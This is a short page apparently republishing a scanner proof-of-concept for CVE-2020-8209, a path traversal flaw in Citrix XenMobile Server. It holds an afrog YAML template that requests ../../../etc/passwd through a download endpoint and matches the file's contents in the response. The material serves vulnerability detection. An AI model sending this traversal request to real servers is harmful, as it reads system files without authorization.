CVE-2020-8209: Citrix XenMobile Server Path Traversal

2025-08-01 Citrix XenMobile Server PoC Public

Description

Improper access control in Citrix XenMobile Server 10.12 before RP2, Citrix XenMobile Server 10.11 before RP4, Citrix XenMobile Server 10.10 before RP6 and Citrix XenMobile Server before 10.9 RP5 and leads to the ability to read arbitrary files.

PoC

id: CVE-2020-8209

info:
  name: Citrix XenMobile Server Path Traversal
  author: B1anda0
  severity: high
  description: |
    Improper access control in Citrix XenMobile Server 10.12 before RP2, Citrix XenMobile Server 10.11 before RP4, Citrix XenMobile Server 10.10 before RP6 and Citrix XenMobile Server before 10.9 RP5 and leads to the ability to read arbitrary files.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8209
  tags: cve,cve2020,citrix,xenmobile,traversal
  created: 2023/08/17

rules:
  r0:
    request:
      method: GET
      path: /jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd
    expression: response.status == 200 && response.content_type.contains("octet-stream") && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()

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Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2020/CVE-2020-8209.yaml

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